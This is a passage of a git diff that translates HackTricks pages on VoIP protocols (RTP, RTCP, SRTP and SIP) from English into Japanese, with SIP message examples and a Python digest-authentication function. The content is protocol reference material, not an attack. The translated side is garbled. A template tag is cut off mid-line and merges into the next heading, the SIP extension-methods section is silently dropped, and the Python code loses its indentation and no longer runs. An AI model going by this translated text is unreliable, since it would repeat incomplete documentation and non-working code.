Protocol)**:RTPは、IPネットワーク上で音声やビデオデータなどのリアルタイムメディアを配信するために設計されたネットワークプロトコルです。**IETF**によって開発され、**RFC 3550**で定義されています。RTPは、SIPやH.323などのシグナリングプロトコルと共に使用され、マルチメディア通信を可能にします。RTPは、メディアストリームの**同期**、**シーケンス**、**タイムスタンプ**を提供するメカニズムを提供し、スムーズでタイムリーなメディア再生を確保します。 +2. **RTCP(Real-time Transport Control Protocol)**:RTCPは、RTPの補完プロトコルであり、メディアストリームの品質監視(QoS)およびメディアストリームの送信に関するフィードバックを提供するために使用されます。RTPと同じ**RFC 3550**で定義されているRTCPは、RTPセッションの参加者間で定期的に制御パケットを交換します。パケットロス、ジッター、ラウンドトリップタイムなどの情報を共有し、ネットワークの状態を診断し適応することで、全体的なメディア品質を向上させます。 +3. **SRTP(Secure Real-time Transport Protocol)**: +* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)。 -These protocols play essential roles in **delivering and securing real-time multimedia communication over IP networks**. While RTP and RTCP handle the actual media transmission and quality monitoring, SRTP and ZRTP ensure that the transmitted media is protected against eavesdropping, tampering, and replay attacks. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md b/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md index 5d271458c..7118c01bf 100644 --- a/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md +++ b/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md @@ -1,91 +1,77 @@ -# SIP (Session Initiation Protocol) +# SIP(セッション開始プロトコル)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -SIP (Session Initiation Protocol) is a **signaling and call control protocol** widely used for establishing, modifying, and terminating multimedia sessions, including voice, video, and instant messaging, over IP networks. Developed by the **Internet Engineering Task Force (IETF)**, SIP is defined in **RFC 3261** and has become the de facto standard for VoIP and unified communications. +SIP(セッション開始プロトコル)は、IPネットワーク上で音声、ビデオ、インスタントメッセージングなどのマルチメディアセッションを確立、変更、終了するために広く使用される**シグナリングおよびコール制御プロトコル**です。SIPは**Internet Engineering Task Force(IETF)**によって開発され、**RFC 3261**で定義され、VoIPおよび統合コミュニケーションの事実上の標準となっています。 -Some key features of SIP include: +SIPの主な特徴は次のとおりです。 -1. **Text-based Protocol**: SIP is a text-based protocol, which makes it human-readable and easier to debug. It is based on a request-response model, similar to HTTP, and uses methods like INVITE, ACK, BYE, and CANCEL for controlling call sessions. -2. **Scalability and Flexibility**: SIP is highly scalable and can be used in small-scale deployments as well as large enterprise and carrier-grade environments. It can be easily extended with new features, making it adaptable to various use cases and requirements. -3. **Interoperability**: SIP's widespread adoption and standardization ensure better interoperability between different devices, applications, and service providers, promoting seamless communication across various platforms. -4. **Modular Design**: SIP works with other protocols like **RTP (Real-time Transport Protocol)** for media transmission and **SDP (Session Description Protocol)** for describing multimedia sessions. This modular design allows for greater flexibility and compatibility with different media types and codecs. -5. **Proxy and Redirect Servers**: SIP can use proxy and redirect servers to facilitate call routing and provide advanced features like call forwarding, call transfer, and voicemail services. -6. **Presence and Instant Messaging**: SIP is not limited to voice and video communication. It also supports presence and instant messaging, enabling a wide range of unified communication applications. +1. **テキストベースのプロトコル**:SIPはテキストベースのプロトコルであり、人間が読みやすくデバッグしやすい特徴があります。HTTPと同様の要求-応答モデルに基づき、INVITE、ACK、BYE、CANCELなどのメソッドを使用して通話セッションを制御します。 +2. **スケーラビリティと柔軟性**:SIPは非常にスケーラブルであり、小規模な展開から大企業やキャリアグレードの環境まで使用することができます。新機能を簡単に追加できるため、さまざまなユースケースや要件に適応することができます。 +3. **相互運用性**:SIPの広範な採用と標準化により、さまざまなデバイス、アプリケーション、サービスプロバイダ間での相互運用性が向上し、さまざまなプラットフォーム間でのシームレスな通信が促進されます。 +4. **モジュラーデザイン**:SIPは、メディアの送信に**RTP(リアルタイムトランスポートプロトコル)**やマルチメディアセッションの説明に**SDP(セッション記述プロトコル)**などの他のプロトコルと連携します。このモジュラーデザインにより、さまざまなメディアタイプやコーデックとの互換性と柔軟性が向上します。 +5. **プロキシおよびリダイレクトサーバー**:SIPはプロキシおよびリダイレクトサーバーを使用して通話ルーティングを容易にし、通話転送、通話転送、ボイスメールサービスなどの高度な機能を提供することができます。 +6. **プレゼンスおよびインスタントメッセージング**:SIPは音声およびビデオ通信に限定されません。プレゼンスおよびインスタントメッセージングもサポートしており、さまざまな統合コミュニケーションアプリケーションを可能にします。 -Despite its many advantages, SIP can be complex to configure and manage, particularly when dealing with NAT traversal and firewall issues. However, its versatility, scalability, and extensive support across the industry make it a popular choice for VoIP and multimedia communication. +多くの利点があるにもかかわらず、SIPはNATトラバーサルやファイアウォールの問題に対処する際に複雑になる場合があります。ただし、その汎用性、スケーラビリティ、業界全体での広範なサポートにより、VoIPおよびマルチメディア通信において人気のある選択肢となっています。 -### SIP Methods +### SIPメソッド -The core SIP methods defined in **RFC 3261** include: +**RFC 3261**で定義されているSIPの主要なメソッドは次のとおりです。 -1. **INVITE**: Used to **initiate a new session (call)** or modify an existing one. The INVITE method carries the session description (typically using SDP) to inform the recipient about the details of the proposed session, such as media types, codecs, and transport protocols. -2. **ACK**: Sent to **confirm the receipt** of a final response to an INVITE request. The ACK method ensures the reliability of INVITE transactions by providing end-to-end acknowledgement. -3. **BYE**: Used to **terminate an established session (call)**. The BYE method is sent by either party in the session to indicate that they wish to end the communication. -4. **CANCEL**: Sent to **cancel a pending INVITE** request before the session is established. The CANCEL method allows the sender to abort an INVITE transaction if they change their mind or if there is no response from the recipient. -5. **OPTIONS**: Used to **query the capabilities of a SIP server or user agent**. The OPTIONS method can be sent to request information about supported methods, media types, or other extensions without actually establishing a session. -6. **REGISTER**: Used by a user agent to **register its current location with a SIP registrar server**. The REGISTER method helps in maintaining an up-to-date mapping between a user's SIP URI and their current IP address, enabling call routing and delivery. +1. **INVITE**:新しいセッション(通話)を**開始**または既存のセッションを**変更**するために使用されます。INVITEメソッドはセッションの詳細(通常はSDPを使用)を受信者に通知するためにセッションの説明を運びます。メディアタイプ、コーデック、トランスポートプロトコルなどの詳細が含まれます。 +2. **ACK**:INVITEリクエストへの最終応答の受信を**確認**するために送信されます。ACKメソッドは、エンドツーエンドの確認を提供することにより、INVITEトランザクションの信頼性を確保します。 +3. **BYE**:確立されたセッション(通話)を**終了**するために使用されます。BYEメソッドは、セッションのいずれかのパーティが通信を終了したいことを示すために送信されます。 +4. **CANCEL**:セッションが確立される前に保留中のINVITEリクエストを**キャンセル**するために送信されます。CANCELメソッドは、送信者が考えを変えた場合や受信者からの応答がない場合にINVITEトランザクションを中止するために使用されます。 +5. **OPTIONS**:SIPサーバーまたはユーザーエージェントの**機能をクエリ**するために使用されます。OPTIONSメソッドは、セッションを確立せずに、サポートされているメソッド、メディアタイプ、または他の拡張機能に関する情報をリクエストするために送信されることがあります。 +6. **REGISTER**:ユーザーエージェントが現在の場所をSIPレジストラサーバーに**登録**するために使用されます。REGISTERメソッドは、ユーザーのSIP URIと現在のIPアドレスの最新のマッピングを維持するのに役立ち、通話のルーティングと配信を可能にします。 -{% hint style="warning" %} -Note that to call someone it's **not neccesary to use the REGISTER** for anything.\ -However, it's possible that in order to perform an **INVITE** the caller needs to **authenticate** first or he will receive a **`401 Unauthorized`** response. -{% endhint %} +{% hint style +### SIPレスポンスコード -In addition to these core methods, there are **several SIP extension methods** defined in other RFCs, such as: +* **1xx(仮の応答)**:これらの応答は、リクエストが受信され、サーバーが処理を継続していることを示します。 +* 100 Trying:リクエストが受信され、サーバーが処理中です。 +* 180 Ringing:呼び出し先が呼び出しに応答し、通話を受ける準備ができています。 +* 183 Session Progress:通話の進行状況に関する情報を提供します。 +* **2xx(成功の応答)**:これらの応答は、リクエストが正常に受信、理解、受け入れられたことを示します。 +* 200 OK:リクエストが成功し、サーバーがそれを完了しました。 +* 202 Accepted:リクエストは処理のために受け入れられましたが、まだ完了していません。 +* **3xx(リダイレクトの応答)**:これらの応答は、通常、別のリソースに連絡することでリクエストを完了するためにさらなる操作が必要であることを示します。 +* 300 Multiple Choices:複数のオプションが利用可能であり、ユーザーまたはクライアントが1つを選択する必要があります。 +* 301 Moved Permanently:要求されたリソースには新しい恒久的なURIが割り当てられました。 +* 302 Moved Temporarily:要求されたリソースは一時的に別のURIで利用可能です。 +* 305 Use Proxy:リクエストは指定されたプロキシに送信する必要があります。 +* **4xx(クライアントエラーの応答)**:これらの応答は、リクエストに誤った構文が含まれているか、サーバーによって満たすことができないことを示します。 +* 400 Bad Request:リクエストが不正または無効です。 +* 401 Unauthorized:リクエストにはユーザー認証が必要です。 +* 403 Forbidden:サーバーはリクエストを理解しましたが、それを満たすことを拒否します。 +* 404 Not Found:要求されたリソースはサーバー上で見つかりませんでした。 +* 408 Request Timeout:サーバーは準備された待機時間内に完全なリクエストを受信しませんでした。 +* 486 Busy Here:呼び出し先は現在忙しく、通話を受けることができません。 +* **5xx(サーバーエラーの応答)**:これらの応答は、サーバーが有効なリクエストを満たすことに失敗したことを示します。 +* 500 Internal Server Error:サーバーはリクエストの処理中にエラーが発生しました。 +* 501 Not Implemented:サーバーはリクエストを満たすために必要な機能をサポートしていません。 +* 503 Service Unavailable:サーバーは現在、メンテナンスまたは過負荷のためにリクエストを処理できません。 +* **6xx(グローバルエラーの応答)**:これらの応答は、リクエストをどのサーバーでも満たすことができないことを示します。 +* 600 Busy Everywhere:通話の可能なすべての宛先が使用中です。 +* 603 Decline:呼び出し先は通話に参加したくありません。 +* 604 Does Not Exist Anywhere:要求されたリソースはネットワーク上のどこにも存在しません。 -1. **SUBSCRIBE**: Defined in RFC 6665, the SUBSCRIBE method is used to **request notifications** about the state of a specific resource, such as a user's presence or call status. -2. **NOTIFY**: Also defined in RFC 6665, the NOTIFY method is sent by a server to **inform a subscribed user agent** about changes in the state of a monitored resource. -3. **REFER**: Defined in RFC 3515, the REFER method is used to **request that the recipient performs a transfer or refers to a third party**. This is typically used for **call transfer** scenarios. -4. **MESSAGE**: Defined in RFC 3428, the MESSAGE method is used to **send instant messages between SIP user agents**, enabling text-based communication within the SIP framework. -5. **UPDATE**: Defined in RFC 3311, the UPDATE method allows **modifying a session without affecting the state of the existing dialog**. This is useful for updating session parameters, such as codecs or media types, during an ongoing call. -6. **PUBLISH**: Defined in RFC 3903, the PUBLISH method is used by a user agent to **publish event state information to a server**, making it available to other interested parties. - -### SIP Response Codes - -* **1xx (Provisional Responses)**: These responses indicate that the request was received, and the server is continuing to process it. - * 100 Trying: The request was received, and the server is working on it. - * 180 Ringing: The callee is being alerted and will take the call. - * 183 Session Progress: Provides information about the progress of the call. -* **2xx (Successful Responses)**: These responses indicate that the request was successfully received, understood, and accepted. - * 200 OK: The request was successful, and the server has fulfilled it. - * 202 Accepted: The request was accepted for processing, but it hasn't been completed yet. -* **3xx (Redirection Responses)**: These responses indicate that further action is required to fulfill the request, typically by contacting an alternate resource. - * 300 Multiple Choices: There are multiple options available, and the user or client must choose one. - * 301 Moved Permanently: The requested resource has been assigned a new permanent URI. - * 302 Moved Temporarily: The requested resource is temporarily available at a different URI. - * 305 Use Proxy: The request must be sent to a specified proxy. -* **4xx (Client Error Responses)**: These responses indicate that the request contains bad syntax or cannot be fulfilled by the server. - * 400 Bad Request: The request was malformed or invalid. - * 401 Unauthorized: The request requires user authentication. - * 403 Forbidden: The server understood the request but refuses to fulfill it. - * 404 Not Found: The requested resource was not found on the server. - * 408 Request Timeout: The server did not receive a complete request within the time it was prepared to wait. - * 486 Busy Here: The callee is currently busy and unable to take the call. -* **5xx (Server Error Responses)**: These responses indicate that the server failed to fulfill a valid request. - * 500 Internal Server Error: The server encountered an error while processing the request. - * 501 Not Implemented: The server does not support the functionality required to fulfill the request. - * 503 Service Unavailable: The server is currently unable to handle the request due to maintenance or overload. -* **6xx (Global Failure Responses)**: These responses indicate that the request cannot be fulfilled by any server. - * 600 Busy Everywhere: All possible destinations for the call are busy. - * 603 Decline: The callee does not wish to participate in the call. - * 604 Does Not Exist Anywhere: The requested resource is not available anywhere in the network. - -## Examples - -### SIP INVITE Example +## 例 +### SIP INVITEの例 ``` INVITE sip:jdoe@example.com SIP/2.0 Via: SIP/2.0/UDP pc33.example.com;branch=z9hG4bK776asdhds @@ -108,43 +94,41 @@ t=0 0 m=audio 49170 RTP/AVP 0 a=rtpmap:0 PCMU/8000te ``` -
-Each Param Explained +各パラメータの説明 -1. **Request-Line**: `INVITE sip:jdoe@example.com SIP/2.0` - This line indicates the method (INVITE), the request URI (sip:[jdoe@example.com](mailto:jdoe@example.com)), and the SIP version (SIP/2.0). -2. **Via**: `Via: SIP/2.0/UDP pc33.example.com;branch=z9hG4bK776asdhds` - The Via header specifies the transport protocol (UDP) and the client's address (pc33.example.com). The "branch" parameter is used for loop detection and transaction matching. -3. **Max-Forwards**: `Max-Forwards: 70` - This header field limits the number of times the request can be forwarded by proxies to avoid infinite loops. -4. **To**: `To: John Doe ` - The To header specifies the recipient of the call, including their display name (John Doe) and SIP URI (sip:[jdoe@example.com](mailto:jdoe@example.com)). -5. **From**: `From: Jane Smith ;tag=1928301774` - The From header specifies the sender of the call, including their display name (Jane Smith) and SIP URI (sip:[jsmith@example.org](mailto:jsmith@example.org)). The "tag" parameter is used to uniquely identify the sender's role in the dialog. -6. **Call-ID**: `Call-ID: a84b4c76e66710` - The Call-ID header uniquely identifies a call session between two user agents. -7. **CSeq**: `CSeq: 314159 INVITE` - The CSeq header contains a sequence number and the method used in the request. It's used to match responses to requests and detect out-of-order messages. -8. **Contact**: `Contact: ` - The Contact header provides a direct route to the sender, which can be used for subsequent requests and responses. -9. **User-Agent**: `User-Agent: ExampleSIPClient/1.0` - The User-Agent header provides information about the software or hardware of the sender, including its name and version. -10. **Allow**: `Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO` - The Allow header lists the SIP methods supported by the sender. This helps the recipient understand which methods can be used during the communication. -11. **Content-Type**: `Content-Type: application/sdp` - The Content-Type header specifies the media type of the message body, in this case, SDP (Session Description Protocol). -12. **Content-Length**: `Content-Length: 142` - The Content-Length header indicates the size of the message body in bytes. -13. **Message Body**: The message body contains the SDP session description, which includes information about the media types, codecs, and transport protocols for the proposed session. +1. **Request-Line**: `INVITE sip:jdoe@example.com SIP/2.0` - この行はメソッド(INVITE)、リクエストURI(sip:[jdoe@example.com](mailto:jdoe@example.com))、およびSIPバージョン(SIP/2.0)を示しています。 +2. **Via**: `Via: SIP/2.0/UDP pc33.example.com;branch=z9hG4bK776asdhds` - Viaヘッダーはトランスポートプロトコル(UDP)とクライアントのアドレス(pc33.example.com)を指定します。"branch"パラメータはループ検出とトランザクションのマッチングに使用されます。 +3. **Max-Forwards**: `Max-Forwards: 70` - このヘッダーフィールドは、無限ループを避けるためにプロキシによってリクエストが転送される回数を制限します。 +4. **To**: `To: John Doe ` - Toヘッダーは、通話の受信者を指定します。表示名(John Doe)とSIP URI(sip:[jdoe@example.com](mailto:jdoe@example.com))が含まれます。 +5. **From**: `From: Jane Smith ;tag=1928301774` - Fromヘッダーは、通話の送信者を指定します。表示名(Jane Smith)とSIP URI(sip:[jsmith@example.org](mailto:jsmith@example.org))が含まれます。"tag"パラメータは、ダイアログ内で送信者の役割を一意に識別するために使用されます。 +6. **Call-ID**: `Call-ID: a84b4c76e66710` - Call-IDヘッダーは、2つのユーザーエージェント間の通話セッションを一意に識別します。 +7. **CSeq**: `CSeq: 314159 INVITE` - CSeqヘッダーにはシーケンス番号とリクエストで使用されるメソッドが含まれています。これは、応答をリクエストに一致させ、順序が逆になったメッセージを検出するために使用されます。 +8. **Contact**: `Contact: ` - Contactヘッダーは、送信者への直接ルートを提供し、後続のリクエストと応答に使用できます。 +9. **User-Agent**: `User-Agent: ExampleSIPClient/1.0` - User-Agentヘッダーは、送信者のソフトウェアまたはハードウェアに関する情報を提供します。名前とバージョンが含まれます。 +10. **Allow**: `Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO` - Allowヘッダーは、送信者がサポートするSIPメソッドのリストを示します。これにより、受信者は通信中に使用できるメソッドを理解するのに役立ちます。 +11. **Content-Type**: `Content-Type: application/sdp` - Content-Typeヘッダーは、メッセージボディのメディアタイプを指定します。この場合はSDP(セッション記述プロトコル)です。 +12. **Content-Length**: `Content-Length: 142` - Content-Lengthヘッダーは、メッセージボディのサイズをバイト単位で示します。 +13. **メッセージボディ**: メッセージボディにはSDPセッション記述が含まれており、提案されたセッションのメディアタイプ、コーデック、およびトランスポートプロトコルに関する情報が含まれています。 -* `v=0` - Protocol version (0 for SDP) -* `o=jsmith 2890844526 2890842807 IN IP4 pc33.example.com` - Originator and session identifier -* `s=-` - Session name (a single hyphen indicates no session name) -* `c=IN IP4 pc33.example.com` - Connection information (network type, address type, and address) -* `t=0 0` - Timing information (start and stop times, 0 0 means the session is not bounded) -* `m=audio 49170 RTP/AVP 0` - Media description (media type, port number, transport protocol, and format list). In this case, it specifies an audio stream using RTP/AVP (Real-time Transport Protocol / Audio Video Profile) and format 0 (PCMU/8000). -* `a=rtpmap:0 PCMU/8000` - Attribute mapping the format (0) to the codec (PCMU) and its clock rate (8000 Hz). +* `v=0` - プロトコルバージョン(SDPの場合は0) +* `o=jsmith 2890844526 2890842807 IN IP4 pc33.example.com` - 発信者とセッション識別子 +* `s=-` - セッション名(ハイフン1つはセッション名がないことを示します) +* `c=IN IP4 pc33.example.com` - 接続情報(ネットワークタイプ、アドレスタイプ、アドレス) +* `t=0 0` - タイミング情報(開始時間と終了時間、0 0はセッションが制約されていないことを意味します) +* `m=audio 49170 RTP/AVP 0` - メディアの説明(メディアタイプ、ポート番号、トランスポートプロトコル、およびフォーマットリスト)。この場合、RTP/AVP(リアルタイムトランスポートプロトコル/オーディオビデオプロファイル)を使用したオーディオストリームを指定し、フォーマット0(PCMU/8000)を指定しています。 +* `a=rtpmap:0 PCMU/8000` - フォーマット(0)をコーデック(PCMU)とそのクロックレート(8000 Hz)にマッピングする属性。
-### SIP REGISTER Example +### SIP REGISTERの例 -The REGISTER method is used in Session Initiation Protocol (SIP) to allow a user agent (UA), such as a VoIP phone or a softphone, to **register its location with a SIP registrar server**. This process lets the server know **where to route incoming SIP requests destined for the registered user**. The registrar server is usually part of a SIP proxy server or a dedicated registration server. +REGISTERメソッドは、セッション開始プロトコル(SIP)で使用され、VoIP電話やソフトフォンなどのユーザーエージェント(UA)がSIP登録サーバーに**自分の場所を登録**するために使用されます。このプロセスにより、サーバーは**登録されたユーザー宛の着信SIPリクエストをどこにルーティングするかを知ることができます**。登録サーバーは通常、SIPプロキシサーバーまたは専用の登録サーバーの一部です。 -Here's a detailed example of the SIP messages involved in a REGISTER authentication process: - -1. Initial **REGISTER** request from UA to the registrar server: +以下は、REGISTER認証プロセスに関与するSIPメッセージの詳細な例です: +1. UAから登録サーバーへの最初の**REGISTER**リクエスト: ```yaml REGISTER sip:example.com SIP/2.0 Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776asdhds @@ -157,11 +141,9 @@ Contact: ;expires=3600 Expires: 3600 Content-Length: 0 ``` +この最初のREGISTERメッセージは、UA(Alice)から登録サーバーに送信されます。これには、希望する登録期間(Expires)、ユーザーのSIP URI(sip:[alice@example.com](mailto:alice@example.com))、およびユーザーの連絡先アドレス(sip:alice@192.168.1.100:5060)などの重要な情報が含まれています。 -This initial REGISTER message is sent by the UA (Alice) to the registrar server. It includes important information such as the desired registration duration (Expires), the user's SIP URI (sip:[alice@example.com](mailto:alice@example.com)), and the user's contact address (sip:alice@192.168.1.100:5060). - -2. **401 Unauthorized** response from the registrar server: - +2. 登録サーバーからの**401 Unauthorized**応答: ```css cssCopy codeSIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776asdhds @@ -172,11 +154,9 @@ CSeq: 1 REGISTER WWW-Authenticate: Digest realm="example.com", nonce="abcdefghijk", algorithm=MD5, qop="auth" Content-Length: 0 ``` +レジストラサーバーは「401 Unauthorized」メッセージで応答し、その中に「WWW-Authenticate」ヘッダーが含まれます。このヘッダーには、UAが自身を認証するために必要な情報が含まれています。具体的には、**認証領域、ノンス、およびアルゴリズム**です。 -The registrar server responds with a "401 Unauthorized" message, which includes a "WWW-Authenticate" header. This header contains information required for the UA to authenticate itself, such as the **authentication realm, nonce, and algorithm**. - -3. REGISTER request **with authentication credentials**: - +3. 認証情報を含むREGISTERリクエスト: ```vbnet REGISTER sip:example.com SIP/2.0 Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776asdhds @@ -190,28 +170,26 @@ Expires: 3600 Authorization: Digest username="alice", realm="example.com", nonce="abcdefghijk", uri="sip:example.com", response="65a8e2285879283831b664bd8b7f14d4", algorithm=MD5, cnonce="lmnopqrst", qop=auth, nc=00000001 Content-Length: 0 ``` +UAは、この時にはユーザ名、レルム、ノンス、およびユーザのパスワードを使用して計算された応答値など、必要な資格情報を含む「Authorization」ヘッダを含めた別のREGISTERリクエストを送信します。 -The UA sends another REGISTER request, this time including the **"Authorization" header with the necessary credentials, such as the username, realm, nonce, and a response value** calculated using the provided information and the user's password. - -This is how the **Authorizarion response** is calculated: - +以下は、Authorization応答が計算される方法です: ```python import hashlib def calculate_sip_md5_response(username, password, realm, method, uri, nonce, nc, cnonce, qop): - # 1. Calculate HA1 (concatenation of username, realm, and password) - ha1_input = f"{username}:{realm}:{password}" - ha1 = hashlib.md5(ha1_input.encode()).hexdigest() +# 1. Calculate HA1 (concatenation of username, realm, and password) +ha1_input = f"{username}:{realm}:{password}" +ha1 = hashlib.md5(ha1_input.encode()).hexdigest() - # 2. Calculate HA2 (concatenation of method and uri) - ha2_input = f"{method}:{uri}" - ha2 = hashlib.md5(ha2_input.encode()).hexdigest() +# 2. Calculate HA2 (concatenation of method and uri) +ha2_input = f"{method}:{uri}" +ha2 = hashlib.md5(ha2_input.encode()).hexdigest() - # 3. Calculate the final response value (concatenation of h1, stuff and h2) - response_input = f"{ha1}:{nonce}:{nc}:{cnonce}:{qop}:{ha2}" - response = hashlib.md5(response_input.encode()).hexdigest() +# 3. Calculate the final response value (concatenation of h1, stuff and h2) +response_input = f"{ha1}:{nonce}:{nc}:{cnonce}:{qop}:{ha2}" +response = hashlib.md5(response_input.encode()).hexdigest() - return response +return response # Example usage username = "alice" @@ -227,9 +205,7 @@ qop = "auth" response = calculate_sip_md5_response(username, password, realm, method, uri, nonce, nc, cnonce, qop) print(f"MD5 response value: {response}") ``` - -4. **Successful registration** response from the registrar server: - +4. **登録成功** レジストラサーバーからの応答: ```yaml SIP/2.0 200 OK Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776asdhds @@ -241,25 +217,24 @@ Contact: ;expires=3600 Expires: 3600 Content-Length: 0 ``` +レジストラサーバーが提供された認証情報を確認した後、**「200 OK」の応答を送信して登録が成功したことを示します**。応答には登録された連絡先情報と登録の有効期限が含まれます。この時点で、ユーザーエージェント(Alice)はSIPレジストラサーバーに正常に登録され、Aliceへの着信SIPリクエストは適切な連絡先アドレスにルーティングされます。 -After the registrar server verifies the provided credentials, **it sends a "200 OK" response to indicate that the registration was successful**. The response includes the registered contact information and the expiration time for the registration. At this point, the user agent (Alice) is successfully registered with the SIP registrar server, and incoming SIP requests for Alice can be routed to the appropriate contact address. - -### Call Example +### 通話の例
{% hint style="info" %} -It's not mentioned, but User B needs to have sent a **REGISTER message to Proxy 2** before he is able to receive calls. +言及されていませんが、ユーザーBは受信するためには**Proxy 2に対してREGISTERメッセージを送信する必要があります**。 {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud 